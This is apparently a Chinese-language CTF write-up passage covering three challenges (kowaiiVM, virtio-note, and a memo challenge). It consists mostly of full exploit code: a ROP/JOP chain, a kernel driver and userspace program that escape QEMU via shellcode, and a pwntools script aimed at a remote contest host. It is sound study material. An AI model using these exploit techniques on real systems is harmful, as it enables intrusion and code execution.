    #p.sendline(f"-{(curr_mem_chunk_base-heap_base-0xca8)//4-1}".encode())

    libc_gets = libc_base + libc.symbols[b"gets"]
    p.sendline(f"{libc_gets & 0xffffffff}".encode())
    p.sendline(f"-{(curr_mem_chunk_base-heap_base-0xca8-0x410)//4}".encode())
    p.sendline(f"{libc_gets >> 32}".encode())
    p.sendline(f"-{(curr_mem_chunk_base-heap_base-0xca8-0x410)//4-1}".encode())    

    libc_mprotect = libc_base + libc.symbols[b"mprotect"]
    libc_open = libc_base + libc.symbols[b"open"]
    libc_read = libc_base + libc.symbols[b"read"]
    libc_write = libc_base + libc.symbols[b"write"]
    libc_syscall = libc_base + libc.symbols[b"syscall"]
    pop_rdi_ret = libc_base + 0x10f75b
    pop_rsi_ret = libc_base + 0x2b46b # pop rsi ; pop rbp ; ret
    pop_rdx_ret = libc_base + 0xb502c # pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
    pop_rax_ret = libc_base + 0xdd237
    syscall = libc_base + 0x288b5
    
    payload = b"a"*0xc8 + p64(canary_leak)
    payload = payload.ljust(0xe8, b"a") + p64(canary_leak)
    payload = payload.ljust(0x128, b"a")
    payload += p64(pop_rdi_ret) + p64(elf_base)
    payload += p64(pop_rsi_ret) + p64(0x3000) + p64(0xdeadbeef)
    payload += p64(pop_rdx_ret) + p64(7) + p64(0xdeadbeef)*4
    payload += p64(libc_mprotect)
    payload += p64(pop_rdi_ret) + p64(0)
    payload += p64(pop_rsi_ret) + p64(elf_base) + p64(0xdeadbeef)
    payload += p64(pop_rdx_ret) + p64(0x100) + p64(0xdeadbeef)*4
    payload += p64(libc_read)
    payload += p64(pop_rdi_ret) + p64(2)
    payload += p64(pop_rsi_ret) + p64(elf_base) + p64(0xdeadbeef)
    payload += p64(pop_rdx_ret) + p64(0) + p64(0xdeadbeef)*4
    payload += p64(libc_syscall)
    payload += p64(pop_rdi_ret) + p64(3)
    payload += p64(pop_rsi_ret) + p64(elf_base) + p64(0xdeadbeef)
    payload += p64(pop_rdx_ret) + p64(0x100) + p64(0xdeadbeef)*4
    payload += p64(libc_read)
    payload += p64(pop_rdi_ret) + p64(1)
    payload += p64(pop_rsi_ret) + p64(elf_base) + p64(0xdeadbeef)
    payload += p64(pop_rdx_ret) + p64(0x100) + p64(0xdeadbeef)*4
    payload += p64(libc_write)
    
    payload += p64(0xdeadbeef)
    pause()
    p.sendline(payload)

    p.send(b"flag\x00")
    p.recvuntil(b"flag{")
    flag = p.recvuntil(b"}").decode()
    log.info(f"flag: flag{{{flag}")

    p.interactive()
    
if __name__ == "__main__":
    exp()
偷偷吐槽一下垃圾到令人反胃的国内“安全”竞赛环境,距离上次 DEF CON 结束挺久了,好不容易抽出时间打一场比赛还得被恶心

kowaiiVM

漏洞点

2024-03-06T10:20:44.png

2024-03-06T10:21:17.png

无论是 VM 实现还是 JIT 实现中的 push / pop 都没有检查单个函数中的栈平衡,VM 层只检查了上下界,很明显通过 caller 提前压栈就可以避免越界

利用

在原始 VM 层和 JIT 层都可以通过不平衡的 push pop 劫持返回地址,但是需要绕过 JIT code 生成过程中的栈平衡检查。还有要思考的点就是如何让 VM 层和 JIT 层实现同样劫持到某个偏移上时,效果不同,但是又合理合法,并且能够让 JIT code escape一段空间,使得指令 imm 部分的 JOP shellcode 能够链接上。

from pwn import *

context.log_level = "debug"
context.arch = "amd64"

'''
typedef struct __attribute__((__packed__)) kowaiiFuncEntry
{
    u16 hash;
    u64 addr;
    u8 size;
    u8 callCount;
} kowaiiFuncEntry;

typedef struct __attribute__((__packed__)) kowaiiBin
{
    u8 kowaii[6];
    u16 entry;
    u32 magic;
    u16 bss;
    u8 no_funcs;
    kowaiiFuncEntry funct[];
} kowaiiBin;

typedef struct __attribute__((__packed__)) kowaiiRegisters
{
    u64 x[MAX_REGS];
    u8 *pc;
    u64 *sp; 
    u64 *bp;
} kowaiiRegisters;
'''

'''
/* Opcodes */
#define ADD               0xb0
#define SUB               0xb1
#define MUL               0xb2
#define SHR               0xb3
#define SHL               0xb4
#define PUSH              0xb5
#define POP               0xb6
#define GET               0xb7
#define SET               0xb8
#define MOV               0xb9
#define CALL              0xba
#define RET               0xbb
#define NOP               0xbc
#define HLT               0xbf
'''

def gen_func_entry(hash, addr, size, callCount):
    return p16(hash) + p64(addr) + p8(size) + p8(callCount)

def pack_kowaii_bin(entry, bss, no_funcs, entry_list, code_data):
    buf = b"KOWAII" + p16(entry) + p32(0xdeadc0de) + p16(bss) + p8(no_funcs)
    for func_entry in entry_list:
        buf += func_entry
    buf = buf.ljust(0x1000, b"\x00")
    buf += code_data
    return buf

############################## Hack Function ##############################
hack_func_code = b""
# control balanceStack vector when JITgen and make it don't crash the key heap metadata...
for _ in range(0xf):
    hack_func_code += p8(0xb5) + p8(0)                  # push reg[0]
for _ in range(0xf):
    hack_func_code += p8(0xb6) + p8(0)                  # pop reg[0]
hack_func_code += p8(0xb6) + p8(0)                      # pop reg[0]
for _ in range(8):
    hack_func_code += p8(0xb6) + p8(2)                  # pop reg[2]
hack_func_code += p8(0xb9) + p8(1) + p32(3)             # mov reg[1], 3 # modify retaddr to retaddr+3
hack_func_code += p8(0xb0) + p8(0) + p8(0) + p8(1)      # reg[0] = reg[0] + reg[1]
hack_func_code += p8(0xb5) + p8(0)                      # push reg[0]
hack_func_code += p8(0xbb)                              # ret
hack_func_hash = 0x1111
hack_func_entry = gen_func_entry(hack_func_hash, 0x4000, len(hack_func_code), 0)
##########################################################################


############################## JIT Function ##############################
jit_func_code = b""
# prepare enough space for hack_func() to hack balanceStack vector
for _ in range(8):
    jit_func_code += p8(0xb5) + p8(0)                                       # push reg[0]
jit_func_code += p8(0xba) + p16(hack_func_hash)                             # call hack_func
# this will ret in a shifted position
tmp = p8(0xff) + p8(0xb9) + p8(0) + b"\xaa" + p8(0xbc) + p8(0xbc)+ p8(0xbc) # 0xff, mov reg[0], value32(value16(b"\xaa\xbb")+value8(nop)+value8(nop)+value8(nop))
jit_func_code += p8(0xb9) + p8(0) + tmp                                     # mov reg[0], value32(tmp[:4]); nop; nop; nop

# JOP shellcode
jit_func_code += p8(0xb9) + p8(0) + asm("push r8;")+b"\xeb\x02"             # set rbx to 0
jit_func_code += p8(0xb9) + p8(0) + asm("pop rbx; nop;")+b"\xeb\x02"
## open
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"\xeb\x02"   # clear rcx
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rdi;")+b"\xeb\x02"   # clear rdi
jit_func_code += p8(0xb9) + p8(0) + asm("push rdx; pop rdi;")+b"\xeb\x02"   # load &"flag.txt" into rdi
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rsi;")+b"\xeb\x02"   # clear rsi
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rdx;")+b"\xeb\x02"   # clear rdx
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rax;")+b"\xeb\x02"   # clear rax
jit_func_code += p8(0xb9) + p8(0) + asm("mov al, 0x2;")+b"\xeb\x02" 
jit_func_code += p8(0xb9) + p8(0) + asm("syscall;")+b"\xeb\x02"             # open("flag.txt", 0)
## read
jit_func_code += p8(0xb9) + p8(0) + asm("push rdi; pop rsi;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rax; pop rdi;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"\xeb\x02"   # clear rcx
jit_func_code += p8(0xb9) + p8(0) + asm("mov cl, 0xff;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rcx; pop rdx;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rax;")+b"\xeb\x02"   # clear rax
jit_func_code += p8(0xb9) + p8(0) + asm("mov al, 0x0;")+b"\xeb\x02" 
jit_func_code += p8(0xb9) + p8(0) + asm("syscall;")+b"\xeb\x02"             # read(rax, bss, 0xff)
## write
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"\xeb\x02"   # clear rcx
jit_func_code += p8(0xb9) + p8(0) + asm("mov cl, 0x1;")+b"\xeb\x02"         # stdout
jit_func_code += p8(0xb9) + p8(0) + asm("push rcx; pop rdi;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rcx;")+b"\xeb\x02"   # clear rcx
jit_func_code += p8(0xb9) + p8(0) + asm("mov cl, 0xff;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rcx; pop rdx;")+b"\xeb\x02"
jit_func_code += p8(0xb9) + p8(0) + asm("push rbx; pop rax;")+b"\xeb\x02"   # clear rax
jit_func_code += p8(0xb9) + p8(0) + asm("mov al, 0x1;")+b"\xeb\x02" 
jit_func_code += p8(0xb9) + p8(0) + asm("syscall;")+b"\xeb\x02"             # write(1, bss, 0xff)
jit_func_code += p8(0xb9) + p8(0) + b"\x90\x90\xeb\x02"
jit_func_code += p8(0xbb) # ret
jit_func_hash = 0x2222
jit_func_entry = gen_func_entry(jit_func_hash, 0x3000, len(jit_func_code), 0xa-1)
########################################################################


############################ Dummy Function ############################
dummy_func_code = b""
for _ in range(0xa):
    dummy_func_code += p8(0xba) + p16(jit_func_hash)                # call jit_func
dummy_func_code += p8(0xba) + p16(jit_func_hash)                    # call jit_func
dummy_func_code += p8(0xbb) # ret
dummy_func_hash = 0x3333
dummy_func_entry = gen_func_entry(dummy_func_hash, 0x2000, len(dummy_func_code), 0)
########################################################################


############################ Entry Code ################################
entry_code = b""
# store "flag.txt" string into bss
entry_code += p8(0xb9) + p8(1) + b"flag"                # mov reg[1], u32("flag")
entry_code += p8(0xb8) + p8(1) + p32(0)
entry_code += p8(0xb9) + p8(1) + b".txt"                # mov reg[1], u32(".txt")
entry_code += p8(0xb8) + p8(1) + p32(0x4)
entry_code += p8(0xb9) + p8(1) + b"\x00\x00\x00\x00"    # mov reg[1], u32("\x00\x00\x00\x00")
entry_code += p8(0xb8) + p8(1) + p32(0x8)
entry_code += p8(0xba) + p16(dummy_func_hash)           # call dummy_func_code
entry_code += p8(0xbf) # hlt
########################################################################


############################ Pack Bin Data #############################
code_data = entry_code.ljust(0x1000, b"\x00")           # 0x1000
code_data += dummy_func_code.ljust(0x1000, b"\x00")     # 0x2000
code_data += jit_func_code.ljust(0x1000, b"\x00")       # 0x3000
code_data += hack_func_code.ljust(0x1000, b"\x00")      # 0x4000

exec_entry = 0x1000
bss_start = 0xc000
func_entry_list =[jit_func_entry, hack_func_entry, dummy_func_entry]
bin_data = pack_kowaii_bin(exec_entry, bss_start, len(func_entry_list), func_entry_list, code_data)
########################################################################

with open("exp.bin", "wb") as f:
    f.write(bin_data)

virtio-note

漏洞

2024-03-06T10:24:33.png

处理 virtio 请求的时候允许下标越界,请求的结构体定义如下

2024-03-06T10:25:18.png

往环形队列里写这个请求结构的数据就可以正常交互

利用

需要同时编写一个内核驱动和用户态程序来完成整个交互,漏洞就是基本的下标越界,越界范围在堆上,可以读写任意下标偏移处的指针——前提是这里刚好存在一个合法的指针。难点主要在于找到稳定的 leak 对象,以及构造任意地址写原语。任意地址写可以通过修改一个引用了同样位于下标可覆盖区域的字符串的字符串指针,将该指针表示的字符串覆盖为一个地址值,这样在某个下标就会多出一个攻击者指定的指针。有了任意地址读写,接下来可以使用 QEMU 用于 JIT 的一个巨大 RWX 段布置 shellcode 实现 open-read-write(这似乎是 QEMU 8.x 一个新特性,属于非预期思路)。

![Image description](https://bbs.xdsec.org/assets/files/2024-03-04/1709578206-611382-2956926b0caf5d7fd8d73507e0b3dda.png)

驱动

KERNELDIR := /home/eqqie/CTF/bi0sCTF2024/virtio-note/linux

obj-m := exp.o

all:
        make -C $(KERNELDIR) M=$(PWD) modules

clean:
        make -C $(KERNELDIR) M=$(PWD) clean
#include <linux/virtio.h>
#include <linux/module.h>
#include <linux/device.h>
#include <linux/pci.h>
#include <linux/interrupt.h>
#include <linux/io.h>               /* io map */
#include <linux/dma-mapping.h>      /* DMA */
#include <linux/kernel.h>           /* kstrtoint() func */
#include <linux/virtio_config.h>    /* find_single_vq() func */

MODULE_LICENSE("GPL v2");

#define VIRTIO_ID_NOTE 42
/* big enough to contain a string representing an integer */
#define MAX_DATA_SIZE 20

typedef enum {
    OP_READ,
    OP_WRITE
} operation;

typedef unsigned long hwaddr;

typedef struct req_t {
    unsigned int idx;
    hwaddr addr;
    operation op;
} req_t;

struct virtio_note_info {
        struct virtqueue *vq;
    /*
     * in - the data we get from the device
     * out - the data we send to the device
     */
    req_t in, out;
};


//-----------------------------------------------------------------------------
//                  sysfs - give user access to driver
//-----------------------------------------------------------------------------

static ssize_t
virtio_buf_store(struct device *dev, struct device_attribute *attr,
        const char *buf, size_t count)
{
    printk(KERN_INFO "virtio_buf_store\n");
    //char tmp_buf[MAX_DATA_SIZE];
    //int retval;
    struct scatterlist sg_in, sg_out;
    struct scatterlist *request[2];
    /* cast dev into a virtio_device */
    struct virtio_device *vdev = dev_to_virtio(dev);
    struct virtio_note_info *vi = vdev->priv;

    /* copy the user buffer since it is a const buffer */
    size_t copy_size = count > sizeof(req_t) ? sizeof(req_t) : count;
    memcpy(&vi->out, buf, copy_size);
    // log vi->out
    printk(KERN_INFO "vi->out.idx: %#x\n", vi->out.idx);
    printk(KERN_INFO "vi->out.addr: %#lx\n", vi->out.addr);
    printk(KERN_INFO "vi->out.op: %#x\n", vi->out.op);
    
    /* initialize a single entry sg lists, one for input and one for output */
    sg_init_one(&sg_out, &vi->out, sizeof(req_t));
    sg_init_one(&sg_in, &vi->in, sizeof(req_t));

    /* build the request */
    request[0] = &sg_out;
    request[1] = &sg_in;

    /* add the request to the queue, in_buf is sent as the buffer idetifier */
    virtqueue_add_sgs(vi->vq, request, 1, 1, &vi->in, GFP_KERNEL);

    /* notify the device */
    virtqueue_kick(vi->vq);

    return count;
}

static ssize_t
virtio_buf_show(struct device *dev, struct device_attribute *attr, char *buf)
{
    printk(KERN_INFO "virtio_buf_show\n");
    /* cast dev into a virtio_device */
    struct virtio_device *vdev = dev_to_virtio(dev);
    struct virtio_note_info *vi = vdev->priv;

    printk(KERN_INFO "vi->in.idx: %#x\n", vi->in.idx);
    printk(KERN_INFO "vi->in.addr: %#lx\n", vi->in.addr);
    printk(KERN_INFO "vi->in.op: %#x\n", vi->in.op);

    return 0;
}

/*
 * struct device_attribute dev_attr_virtio_buf = {
 *     .attr = {
 *         .name = "virtio_buf",
 *         .mode = 0644
 *     },
 *     .show = virtio_buf_show,
 *     .store = virtio_buf_store
 * }
 */
static DEVICE_ATTR_RW(virtio_buf);


/*
 * The note_attr defined above is then grouped in the struct attribute group
 * as follows:
 */
struct attribute *note_attrs[] = {
    &dev_attr_virtio_buf.attr,
    NULL,
};

static const struct attribute_group note_attr_group = {
    .name = "note", /* directory's name */
    .attrs = note_attrs,
};



//-----------------------------------------------------------------------------
//                              IRQ functions
//-----------------------------------------------------------------------------

static void note_irq_handler(struct virtqueue *vq)
{
    printk(KERN_INFO "IRQ handler\n");

    struct virtio_note_info *vi = vq->vdev->priv;
    unsigned int len;
    void *res = NULL;

    /* get the buffer from virtqueue */
    res = virtqueue_get_buf(vi->vq, &len);

    memcpy(&vi->in, res, len);
}


//-----------------------------------------------------------------------------
//                             driver functions
//-----------------------------------------------------------------------------


static int note_probe(struct virtio_device *vdev)
{
    printk(KERN_INFO "probe\n");
    int retval;
    struct virtio_note_info *vi = NULL;

    /* create sysfiles for UI */
    retval = sysfs_create_group(&vdev->dev.kobj, &note_attr_group);
    if (retval) {
        pr_alert("failed to create group in /sys/bus/virtio/devices/.../\n");
    }

    /* initialize driver data */
        vi = kzalloc(sizeof(struct virtio_note_info), GFP_KERNEL);
        if (!vi)
                return -ENOMEM;

        /* We expect a single virtqueue. */
        vi->vq = virtio_find_single_vq(vdev, note_irq_handler, "input");
        if (IS_ERR(vi->vq)) {
        pr_alert("failed to connect to the device virtqueue\n");
        }

    /* initialize the data to 0 */
    memset(&vi->in, 0, sizeof(req_t));
    memset(&vi->out, 0, sizeof(req_t));

    /* store driver data inside the device to be accessed for all functions */
    vdev->priv = vi;

    return 0;
}

static void note_remove(struct virtio_device *vdev)
{
        struct virtio_note_info *vi = vdev->priv;

    /* remove the directory from sysfs */
    sysfs_remove_group(&vdev->dev.kobj, &note_attr_group);

    /* disable interrupts for vqs */
    vdev->config->reset(vdev);

    /* remove virtqueues */
        vdev->config->del_vqs(vdev);

    /* free memory */
        kfree(vi);
}

/*
 * vendor and device (+ subdevice and subvendor)
 * identifies a device we support
 */
static struct virtio_device_id note_ids[] = {
    {
        .device = VIRTIO_ID_NOTE,
        .vendor = VIRTIO_DEV_ANY_ID,
    },
    { 0, },
};

/*
 * id_table describe the device this driver support
 * probe is called when a device we support exist and
 * when we are chosen to drive it.
 * remove is called when the driver is unloaded or
 * when the device disappears
 */
static struct virtio_driver note = {
        .driver.name =        "virtio_note",
        .driver.owner =        THIS_MODULE,
        .id_table =        note_ids,
        .probe =        note_probe,
        .remove =        note_remove,
};

//-----------------------------------------------------------------------------
//                          overhead - must have
//-----------------------------------------------------------------------------

/* register driver in kernel pci framework */
module_virtio_driver(note);
MODULE_DEVICE_TABLE(virtio, note_ids);

用户态

#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/io.h>
#include <time.h>

#define PAGE_SHIFT  12
#define PAGE_SIZE   (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN     ((1ull << 55) - 1)

#define SYSFS_PATH "/sys/bus/virtio/devices/virtio0/note/virtio_buf"

// max 0x40 bytes in a single write
char shellcode[] = {0x6a, 0x01, 0xfe, 0x0c, 0x24, 0x48, 0xb8, 0x66, 0x6c, 0x61, 0x67, 0x2e, 0x74, 0x78, 0x74, 0x50, 0x48, 0x89, 0xe7, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x02, 0x58, 0x0f, 0x05, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x89, 0xc7, 0x31, 0xc0, 0x31, 0xd2, 0xb2, 0xff, 0x48, 0x89, 0xee, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0xb2, 0xff, 0x48, 0x89, 0xee, 0x6a, 0x01, 0x58, 0x0f, 0x05 };


typedef unsigned long hwaddr;

typedef enum {
    READ,
    WRITE
} operation;

typedef struct req_t {
    unsigned int idx;
    hwaddr addr;
    operation op;
} req_t;

int fd;
int sysfs_fd;

uint32_t page_offset(uint32_t addr) {
    return addr & ((1 << PAGE_SHIFT) - 1);
}

uint64_t gva_to_gfn(void *addr) {
    uint64_t pme, gfn;
    size_t offset;

    offset = ((uintptr_t)addr >> 9) & ~7;
    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
    if (!(pme & PFN_PRESENT))
        return -1;
    gfn = pme & PFN_PFN;

    return gfn;
}

uint64_t gva_to_gpa(void *addr) {
    uint64_t gfn = gva_to_gfn(addr);
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

void virtio_write(unsigned int idx, hwaddr addr) {
    req_t write_buffer = {
        .idx = idx,
        .addr = addr,
        .op = WRITE,
    };
    write(sysfs_fd, (void *)&write_buffer, sizeof(req_t));
    usleep(300000);
}

void virtio_read(unsigned int idx, hwaddr addr) {
    req_t read_buffer = {
        .idx = idx,
        .addr = addr,
        .op = READ,
    };
    write(sysfs_fd, (void *)&read_buffer, sizeof(req_t));
    usleep(300000);
}

int main(int argc, char *argv[]) {
    int r;
    void *userbuf;
    uint64_t phy_userbuf;

    fd = open("/proc/self/pagemap", O_RDONLY);
    if (!fd) {
        perror("open pagemap");
        return -1;
    }

    sysfs_fd = open(SYSFS_PATH, 'r');

    /* allocate a user buffer */
    userbuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (userbuf == MAP_FAILED) {
        perror("mmap userbuf");
        return -1;
    }
    mlock(userbuf, 0x1000);
    phy_userbuf = gva_to_gpa(userbuf);
    printf("userbuf: 0x%lx\n", (uint64_t) userbuf);
    printf("phy_userbuf: 0x%lx\n", phy_userbuf);

    char buffer[] = "THIS_IS_A_TEST\x00";
    memcpy(userbuf, buffer, strlen(buffer));

    // test
    virtio_write(0, phy_userbuf);
    memset(userbuf, 0, 0x1000);
    virtio_read(0, phy_userbuf);
    printf("userbuf = %s\n", userbuf);

    // leak elf_base
    uint64_t tmp_ptr = 0;
    memset(userbuf, 0, 0x1000);
    virtio_read(19, phy_userbuf);
    tmp_ptr = *(((unsigned long long *)userbuf)+4);
    printf("[*] leak tmp ptr: 0x%lx\n", tmp_ptr);
    uint64_t elf_base = tmp_ptr - 0x86c800;
    printf("[*] elf base: 0x%lx\n", elf_base);

    // leak obj_base
    tmp_ptr = 0;
    memset(userbuf, 0, 0x1000);
    virtio_read(56, phy_userbuf);
    tmp_ptr = *(((unsigned long long *)userbuf)+4);
    printf("[*] leak tmp ptr: 0x%lx\n", tmp_ptr);
    uint64_t obj_base = tmp_ptr - 0;
    printf("[*] obj base: 0x%lx\n", obj_base);
    uint64_t note_list = obj_base + 0x210;
    printf("[*] note list: 0x%lx\n", note_list);

    uint64_t ptr_l2_idx = 19;
    uint64_t ptr_l1_idx = 30;

    // test leak obj
    uint64_t leak_test_ptr1 = obj_base+0x78;
    memset(userbuf, 0, 0x1000);
    virtio_read(ptr_l2_idx, phy_userbuf);
    *(((unsigned long long *)userbuf)+0) = leak_test_ptr1;
    virtio_write(ptr_l2_idx, phy_userbuf);
    memset(userbuf, 0, 0x1000);
    virtio_read(ptr_l1_idx, phy_userbuf);
    uint64_t test_data1 = *(((unsigned long long *)userbuf)+0);
    printf("[*] test leak data1: 0x%lx\n", test_data1);
    // test leak elf
    uint64_t leak_test_ptr2 = elf_base;
    memset(userbuf, 0, 0x1000);
    virtio_read(ptr_l2_idx, phy_userbuf);
    *(((unsigned long long *)userbuf)+0) = leak_test_ptr2;
    virtio_write(ptr_l2_idx, phy_userbuf);
    memset(userbuf, 0, 0x1000);
    virtio_read(ptr_l1_idx, phy_userbuf);
    uint64_t test_data2 = *(((unsigned long long *)userbuf)+0);
    printf("[*] test leak data2: 0x%lx\n", test_data2);


    // write shellcode
    //uint64_t shellcode_addr = elf_base - 0x48236000;
    uint64_t shellcode_addr = elf_base - 0x20000000;
    memset(userbuf, 0, 0x1000);
    virtio_read(ptr_l2_idx, phy_userbuf);
    *(((unsigned long long *)userbuf)+0) = shellcode_addr;
    virtio_write(ptr_l2_idx, phy_userbuf);
    memset(userbuf, 0x90, 0x1000);
    memcpy(userbuf, shellcode, sizeof(shellcode)); // load shellcode
    virtio_write(ptr_l1_idx, phy_userbuf);
    printf("[*] write shellcode to: %#lx\n", shellcode_addr);

    // try hijack vnq->virtio_note_handle_req
    /* get vnq ptr */
    uint64_t vnq_ptr_pos = obj_base+520;
    memset(userbuf, 0, 0x1000);
    virtio_read(ptr_l2_idx, phy_userbuf);
    *(((unsigned long long *)userbuf)+0) = vnq_ptr_pos;
    virtio_write(ptr_l2_idx, phy_userbuf);
    memset(userbuf, 0, 0x1000);
    virtio_read(ptr_l1_idx, phy_userbuf);
    uint64_t vnq_ptr = *(((unsigned long long *)userbuf)+0);
    printf("[*] vnq ptr: 0x%lx\n", vnq_ptr);
    /* modify virtio_note_handle_req */    
    uint64_t callback_pos = vnq_ptr+0x58;
    memset(userbuf, 0, 0x1000);
    virtio_read(ptr_l2_idx, phy_userbuf);
    *(((unsigned long long *)userbuf)+0) = callback_pos;
    virtio_write(ptr_l2_idx, phy_userbuf);
    memset(userbuf, 0, 0x1000);
    virtio_read(ptr_l1_idx, phy_userbuf);
    *(((unsigned long long *)userbuf)+0) = shellcode_addr;
    virtio_write(ptr_l1_idx, phy_userbuf);
    printf("[*] hijack callback in: 0x%lx\n", callback_pos);    

    // trigger
    memset(userbuf, 0, 0x1000);
    virtio_read(30, phy_userbuf);


    close(sysfs_fd);

    return 0;
}

0x00 漏洞点

  • 用户态在 free_space 中读写的时候,使用 f_pos 来控制读写偏移,f_pos 有 0x3FFFFFFF 最大值限制

    image-20230920182346105

    • 最开始想着 read/write 会不会有逻辑问题导致 overlap 的发生去修改 fixed_space 的 meta 区域的指针构造任意地址读写,但是看了很久代码确认其没有这样的逻辑问题
    • 使用 offset = 0x3FFFFFFF-1-0x1000, size = n 这样的组合去读 free_space 看着像是会越界,但是不知道越界所读到的是什么,最开始是直接猜测会读到内核中一些对用户态没帮助的数据,但是实际上神奇的点就在这。不过在 user mode 题所给出的代码中完全看不出来具体的漏洞原因是什么,需要通过 kernel mode 题给出的源码中找到原因,当然如果随手试一试上面的那个边界条件来读东西就会发现有点端倪的...
    • 这里唯一要注意的一个东西就是,如果 data 为 NULL(一开始没去考虑这种情况),那么这个读循环是不会终止的,循环继续下去 f_pos 也会递增从而有可能超过之前的最大值限定,产生“非预期”行为

    over_rw_reason_code_2

  • 下一步就是使用 kernel mode 的代码查看 get_memo_ro 的实现,它把传进去的 pos 按页对齐后传给了 __pgoff_to_memopage

    over_rw_reason_code_3

    • 这个函数是问题的关键。这个函数从一个二级页表结构中,取出 f_pos 所命中的页面。每一级页表都是一个 0x200 大小的指针表,只不过在初始情况下第一级页表中,只有第一项是有值的,其它都是 NULL,导致只要超出第一个页表去读写时都会返回 NULL,于是用户会读写不到任何东西(但是也不会报错)

    over_rw_reason_code_0

    over_rw_reason_code_1

    • 一级页表的最后一项和第一项

    page_level_1

    • 存在一个问题,如果 f_pos 从 0x3FFFFFFF-1 开始读写,会拿到一个空的页表项,返回空指针;然后 f_pos 继续增长,此时会超过 0x3FFFFFFF,通过计算之后,一级页表的下表会变成 0 导致产生严重的 overlap 去读写 fixed_space 的 meta 指针区域

    over_rw_reason

    • meta 指针表,其中的指针和 libc 有固定偏移,可以泄露 libc 地址;通过写指针然后用 fixed_read 可以进一步泄露出栈地址

    free_space_over_read

0x01 利用的坑

  • 看起来可以任意地址读写之后就可以为所欲为了,直接读栈地址,写 rop 到栈上就搞定了,但是有一个巨大的坑,那就是远程交互是通过 TTY 处理再输入到程序的 STDIN 中的,这个过程部分特殊字符会被 TTY 处理产生别的效果。例如写指针要用到的 \x7f 对应的控制效果是 DEL,这会导致它本身和它前一个字符在输入到 STDIN 时消失,还有其他比如 Ctrl+C 等会导致进程结束...尝试通过 \x16 等字符也没有成功 escape,花了很久时间最后决定尝试绕掉 \x7f 的坑;
  • 首先,任意地址读写的时候,由于读写的都是 libc 或者 栈地址,所以只控制 meta 指针的低 5 字节即可;
  • 由于程序本身几乎没有可用 gadget,如果写 libc 地址,又要面临 \x7f 的问题,所以不能很顺利写 ROP 到栈上;
  • 写栈上 main 函数返回地址的时候,由于需要使用 fixed_write 功能来写,不能自由控制写入的字节数量(固定为0x100),会导致终端的换行符被一并写入,覆盖掉高位,所以需要尝试把要写入的 5 字节放在 0x100 字节的末尾,不过这样就得从 target-(0x100-5) 的地方开始写,容易破坏其它东西,所以用了下面这个方法来劫持一个高位为 0x7f 的指针,同时不破坏正常数据,唯一的要求就是返回地址之后一定距离内要有一个高位为 \x7f 的指针;

    • image-20230920190922703
  • 最开始发现,在这个位置能刚好满足 one_gadget 条件,但是劫持过去才发现 busybox 环境对 argv[0] 有要求,one_gadget 不起作用;
  • 然后就开始漫长的走弯路。。。构造了好久 rtld_global。。。最后也没用;
  • 折腾了一大通才发现,用户态程序开了 栈可执行(??????),在 buff 中写 shellcode 然后用上述方法劫持指针跳过去就搞定了。。。

0x02 其它

  • 有一个没用上但是很神奇的思路,libc 地址最高字节有一定概率为 \x7e ,在这种条件下任意地址写时可以不用考虑 \x7f 的限制从而写 libc 的任意地址(但是写不了栈),而且这个题目中进退出了连接不会断,而是会回到 login 界面,给了这种爆破很大的可能性,以至于让我一度以为这个是预期解法...

0x03 EXP

from pwn import *
import os

context.log_level = "debug"
context.arch = "amd64"

#p = process("./run.sh")
p = remote("ukqmemo.seccon.games", 6318)

def free_space():
    p.sendlineafter(b"> ", b"2")
    
def free_read(offset:int, size:int):
    p.sendlineafter(b"S> ", b"1")
    p.sendlineafter(b"Offset: ", str(offset).encode())
    p.sendlineafter(b"Size: ", str(size).encode())
    
def free_write(offset:int, size:int, data):
    p.sendlineafter(b"S> ", b"2")
    p.sendlineafter(b"Offset: ", str(offset).encode())
    p.sendlineafter(b"Size: ", str(size).encode())
    p.sendlineafter(b"Input: ", data)
    
def free_back():
    p.sendlineafter(b"S> ", b"0")
    
def fixed_space():
    p.sendlineafter(b"> ", b"1")
    
def fixed_read(idx):
    p.sendlineafter(b"M> ", b"1")
    p.sendlineafter(b"Index: ", str(idx).encode())
    
def fixed_write(idx, data):
    p.sendlineafter(b"M> ", b"2")
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendlineafter(b"Input: ", data)

def fixed_back():
    p.sendlineafter(b"M> ", b"0")
    
def escape(x):
    return b''.join(
        bytes([i])
        if (i>=0x20 and i!=0x7f) or i==0 else
        bytes([0x16, i])
        for i in x)
        
def write_primitive(addr, value, no_back=False):
    free_space()
    payload = b"\x00\x00" + p64(addr)[:5]
    free_write(0x3FFFFFFF-1-0x1000, len(payload), payload)
    print(f"write {value.hex()} to addr({hex(addr)})")
    fixed_space()
    fixed_write(0, value)
    if not no_back:
        fixed_back()
    
def read_primitive(addr):
    free_space()
    payload = b"\x00\x00" + p64(addr)[:5]
